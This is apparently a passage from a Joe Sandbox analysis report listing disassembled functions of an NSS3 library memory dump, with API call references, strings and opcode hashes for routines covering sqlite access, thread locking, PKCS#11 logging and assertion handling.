Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 3520faafe5bf00c95d49119e69a1ee885b90a3340b49b9adb8e9ba4304e5fd4a
Instruction ID: fc3899156eaba35a49df672d0c9395fa364f53a423a65818fcf548fc1bbe3799
Opcode Fuzzy Hash: 3520faafe5bf00c95d49119e69a1ee885b90a3340b49b9adb8e9ba4304e5fd4a
Instruction Fuzzy Hash: 04310430606025EBDB20DB15CF4CF6A37B5AB4235CF446435E80D9BB02DB38A849CBE6

Function 6C7D2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7D2D9F

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

sqlite3_exec.NSS3(?,?,6C7D2F70,?,?), ref: 6C7D2DF9
sqlite3_free.NSS3(00000000), ref: 6C7D2E2C
sqlite3_free.NSS3(?), ref: 6C7D2E3A
sqlite3_free.NSS3(?), ref: 6C7D2E52
sqlite3_mprintf.NSS3(6C83AAF9,?), ref: 6C7D2E62
sqlite3_free.NSS3(?), ref: 6C7D2E70
sqlite3_free.NSS3(?), ref: 6C7D2E89
sqlite3_free.NSS3(?), ref: 6C7D2EBB
sqlite3_free.NSS3(?), ref: 6C7D2ECB
sqlite3_free.NSS3(00000000), ref: 6C7D2F3E
sqlite3_free.NSS3(?), ref: 6C7D2F4C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2dfd81bb95f7861e55db35b379a145f56cb94c05a622332f37e9d55091a12fdc
Instruction ID: 17cfcd32db8ea84a50e7038dbec8f6f4cf6280e68920235998e521a72009eaba
Opcode Fuzzy Hash: 2dfd81bb95f7861e55db35b379a145f56cb94c05a622332f37e9d55091a12fdc
Instruction Fuzzy Hash: DD619FB5E052069BEB00CF68D989B9EBBB5AF49348F160034DC45A7701E735FC46CBA5

Function 6C717C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C862120,Function_00097E60,00000000,?,?,?,?,6C79067D,6C791C60,00000000), ref: 6C717C81

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

TlsGetValue.KERNEL32 ref: 6C717CA0
EnterCriticalSection.KERNEL32(?), ref: 6C717CB4
PR_Unlock.NSS3 ref: 6C717CCF

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

TlsGetValue.KERNEL32 ref: 6C717D04
EnterCriticalSection.KERNEL32(?), ref: 6C717D1B
realloc.MOZGLUE(-00000050), ref: 6C717D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C717DF4
PR_Unlock.NSS3 ref: 6C717E0E

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 042737fcf677e2598f9ef8874a53c34aed998e4977a4669e71269a1cdda90708
Instruction ID: 055f874cf1c0d6ccdcfe7bb19a4c43ff672a5e565d3dbb87a97d661c097965ec
Opcode Fuzzy Hash: 042737fcf677e2598f9ef8874a53c34aed998e4977a4669e71269a1cdda90708
Instruction Fuzzy Hash: F4512371A0C1049FDB215F29CE4AA7537B5FB0231CF1941BAED4487B62EB30E865CAC1

Function 6C684C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684D97
PR_Lock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DBA
PR_WaitCondVar.NSS3 ref: 6C684DD4
PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684DEF

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 224b6976bdba805b25e2ec61be61419c950873ee0cc85a5549816226993b9e6f
Instruction ID: 871c29196e622a4c04161c6f1f5387901abddff3fda0d4b41ca3c12f0a23cbad
Opcode Fuzzy Hash: 224b6976bdba805b25e2ec61be61419c950873ee0cc85a5549816226993b9e6f
Instruction Fuzzy Hash: 9A41C0B5A09611CFCB10AF79C0981697BF8BF0A318F055679DC889B711EB70D881CBDA

Function 6C817CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C817CE0

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817D36
PR_Realloc.NSS3(?,00000080), ref: 6C817D6D
PR_GetCurrentThread.NSS3 ref: 6C817D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C817DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817DD8
malloc.MOZGLUE(00000080), ref: 6C817DF8
PR_GetCurrentThread.NSS3 ref: 6C817E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C817DF0
:%s:%d:0x%lx, xrefs: 6C817DB9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 6452ceb26844328edfbd0e0c0a5d19ec5c6c7f6d64be91328a5e74eb14ef8838
Instruction ID: 52a30f3625c822e467a1f4727a9bc33763aa8794a39dc418ba80890e7ebe65da
Opcode Fuzzy Hash: 6452ceb26844328edfbd0e0c0a5d19ec5c6c7f6d64be91328a5e74eb14ef8838
Instruction Fuzzy Hash: D341D6B161420A9FDB14CF28CE84D6B37E6FF85318B25496CE8198BF51D731E801CBA1

Function 6C817E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C817E46

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C817EAF
PR_ImportFile.NSS3(?), ref: 6C817ECF
PR_GetCurrentThread.NSS3 ref: 6C817ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C817F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C817F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C817F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C817E41
%d:0x%lx, xrefs: 6C817EA9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 590d7700fe6e05c8d13fe640a59d0d63ca294359aeba196bd326841061084d15
Instruction ID: 20905fa041d150507a76e906d2e22353f51296070c2fcb1abc91ab42239c29b1
Opcode Fuzzy Hash: 590d7700fe6e05c8d13fe640a59d0d63ca294359aeba196bd326841061084d15
Instruction Fuzzy Hash: 88312770A0811B9BEB209B69CA40AABB7E9BF06748F104D39D40593E11E761DD04CBD2

Function 6C724E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C724E90
EnterCriticalSection.KERNEL32 ref: 6C724EA9
TlsGetValue.KERNEL32 ref: 6C724EC6
EnterCriticalSection.KERNEL32 ref: 6C724EDF
PL_HashTableLookup.NSS3 ref: 6C724EF8
PR_Unlock.NSS3 ref: 6C724F05
PR_Now.NSS3 ref: 6C724F13
PR_Unlock.NSS3 ref: 6C724F3A

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

bUrl, xrefs: 6C724E5C
bUrl, xrefs: 6C724F3F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUrl$bUrl
API String ID: 326028414-462365213
Opcode ID: ee6a911a6e3d8d823119712561e11c1e41660212d66f4c30c1cc7034a5801577
Instruction ID: 8f99d4792ed39a23dc0c318ef29647433782ebdda077b6c8892a977cf55d1246
Opcode Fuzzy Hash: ee6a911a6e3d8d823119712561e11c1e41660212d66f4c30c1cc7034a5801577
Instruction Fuzzy Hash: DA4168B4A00605DFCB10EF68C5848AABBF4FF49318B058669EC599B711EB34E885CFD1

Function 6C74ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C74DE64), ref: 6C74ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74ED22

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PL_FreeArenaPool.NSS3(?), ref: 6C74ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C74ED6B
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C74ED38

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C74ED52
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C74ED83
PL_FreeArenaPool.NSS3(?), ref: 6C74ED95
PL_FinishArenaPool.NSS3(?), ref: 6C74ED9D

Part of subcall function 6C7664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C76127C,00000000,00000000,00000000), ref: 6C76650E

Strings

security, xrefs: 6C74ED06

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 7da1b89c4d4878e0c870b65e7a79600608f0e622d2de5da66ff0e3fa050bdd6c
Instruction ID: 064460ce8181ff51a4ab2d13fb3278918617d9c8da9fc2e85191e073d905ea36
Opcode Fuzzy Hash: 7da1b89c4d4878e0c870b65e7a79600608f0e622d2de5da66ff0e3fa050bdd6c
Instruction Fuzzy Hash: C61180729002186BD7209666AF4DBBBB278AF4171DF444934EC1462F40FB74A70CCAE7

Function 6C732CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C732CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C732D07

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C732D22

Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810B88
Part of subcall function 6C8109D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C810C5D
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C810C8D
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810C9C
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810CD1
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C810CEC
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810CFB
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810D16
Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C810D26
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810D35
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C810D65
Part of subcall function 6C8109D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C810D70
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810D90
Part of subcall function 6C8109D0: free.MOZGLUE(00000000), ref: 6C810D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C732D3B

Part of subcall function 6C8109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C810BAB
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810BBA
Part of subcall function 6C8109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C810D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C732D54

Part of subcall function 6C8109D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C810BCB
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810BDE
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(?), ref: 6C810C16

Strings

pLabel = 0x%p, xrefs: 6C732D4F
ulPinLen = %d, xrefs: 6C732D36
pPin = 0x%p, xrefs: 6C732D1D
slotID = 0x%x, xrefs: 6C732D02
C_InitToken, xrefs: 6C732CE7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 47578aa3061a74ee25ef9b56228af4af52c3e68ef68d27c3d5f106f93df604b5
Instruction ID: 6856a56f25967eaefc981f22ed909b3956ff5750b841cd79700bf2c10bd0b7bb
Opcode Fuzzy Hash: 47578aa3061a74ee25ef9b56228af4af52c3e68ef68d27c3d5f106f93df604b5
Instruction Fuzzy Hash: 2621F175205054AFDB219B55DF4DA693BB5EB8231DF046470F5089BB23CB38A858CBE1

Function 6C810EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C6F2357), ref: 6C810EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6F2357), ref: 6C810EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C810EE6

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C810EFA

Part of subcall function 6C6FAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6FAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C810ED9, 6C810EE5, 6C810F06, 6C810F0B
Aborting, xrefs: 6C810EB3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 199c7f2a02c49eeafef970717460c95968a5641a3ab1ae3a49c3ed7b48723253
Instruction ID: 325c1dda61198b920c477df8adbc04f468b77440543c4db2ba49722e2fe7e217
